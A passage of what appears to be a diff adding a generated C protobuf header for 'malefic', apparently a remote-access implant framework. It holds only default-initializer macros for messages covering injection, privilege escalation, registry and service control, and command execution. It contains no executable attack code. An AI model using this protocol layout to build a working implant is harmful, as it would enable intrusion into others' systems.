malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default}} +#define malefic_Block_init_default {0, {0, {0}}, 0} +#define malefic_ACK_init_default {0, 0, 0} +#define malefic_Os_init_default {"", "", "", "", "", "", "", 0, {"", "", "", "", "", "", "", ""}} +#define malefic_Process_init_default {"", 0, 0, "", "", "", "", ""} +#define malefic_Timer_init_default {"", 0} +#define malefic_FileInfo_init_default {"", 0, 0, 0, 0, ""} +#define malefic_SacrificeProcess_init_default {0, 0, 0, 0, ""} +#define malefic_LsResponse_init_default {"", 0, 0, {malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default}} +#define malefic_DriveInfo_init_default {"", "", 0, 0, ""} +#define malefic_EnumDriversResponse_init_default {0, {malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default}} +#define malefic_PsResponse_init_default {0, {malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default}} +#define malefic_ExecRequest_init_default {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, 0, 0, 0} +#define malefic_ExecResponse_init_default {0, {0, {0}}, {0, {0}}, 0, 0} +#define malefic_BinaryResponse_init_default {{0, {0}}, {0, {0}}, 0, ""} +#define malefic_Modules_init_default {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Addons_init_default {0, {malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default}} +#define malefic_Addon_init_default {"", "", ""} +#define malefic_LoadModule_init_default {"", {0, {0}}} +#define malefic_LoadAddon_init_default {"", "", "", {0, {0}}} +#define malefic_ExecuteAddon_init_default {"", false, malefic_ExecuteBinary_init_default} +#define malefic_ExecuteBinary_init_default {"", {0, {0}}, {{NULL}, NULL}, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, "", {0, {0}}, 0, 0, 0, false, malefic_SacrificeProcess_init_default, "", "", 0} +#define malefic_ExecuteBinary_ParamEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ExecuteCommand_init_default {"", false, malefic_SacrificeProcess_init_default} +#define malefic_UploadRequest_init_default {"", "", 0, {0, {0}}, 0, 0} +#define malefic_DownloadRequest_init_default {"", "", 0, 0, 0} +#define malefic_DownloadResponse_init_default {"", 0, 0, {0, {0}}} +#define malefic_CurlRequest_init_default {"", 0, "", {0, {0}}, {{NULL}, NULL}, ""} +#define malefic_CurlRequest_HeaderEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ChownRequest_init_default {"", "", "", 0} +#define malefic_IfconfigResponse_init_default {0, {malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default}} +#define malefic_RegistryRequest_init_default {"", false, malefic_Registry_init_default} +#define malefic_Registry_init_default {"", "", ""} +#define malefic_RegistryWriteRequest_init_default {"", "", "", "", {0, {0}}, 0, 0, 0} +#define malefic_TaskScheduleRequest_init_default {"", false, malefic_TaskSchedule_init_default} +#define malefic_TaskSchedule_init_default {"", "", "", 0, "", "", 0, "", ""} +#define malefic_TaskSchedulesResponse_init_default {0, {malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default}} +#define malefic_ServiceRequest_init_default {"", false, malefic_ServiceConfig_init_default} +#define malefic_ServiceConfig_init_default {"", "", "", 0, 0, ""} +#define malefic_ServiceStatus_init_default {0, 0, 0, 0, 0} +#define malefic_Service_init_default {false, malefic_ServiceConfig_init_default, false, malefic_ServiceStatus_init_default} +#define malefic_ServicesResponse_init_default {0, {malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default}} +#define malefic_WmiQueryRequest_init_default {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_WmiMethodRequest_init_default {"", "", "", {{NULL}, NULL}} +#define malefic_WmiMethodRequest_ParamsEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_RunAsRequest_init_default {"", "", "", "", "", 0, 0, 0} +#define malefic_GetSystem_init_default {{0, {0}}, 0} +#define malefic_Inject_init_default {{0, {0}}, 0} +#define malefic_Pipe_init_default {"", "", {0, {0}}} +#define malefic_PipeRequest_init_default {"", false, malefic_Pipe_init_default} +#define malefic_Switch_init_default {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_TaskCtrl_init_default {0, ""} +#define malefic_TaskInfo_init_default {0, 0, 0, 0} +#define malefic_TaskListResponse_init_default {0, {malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, malefic_TaskInfo_init_default, 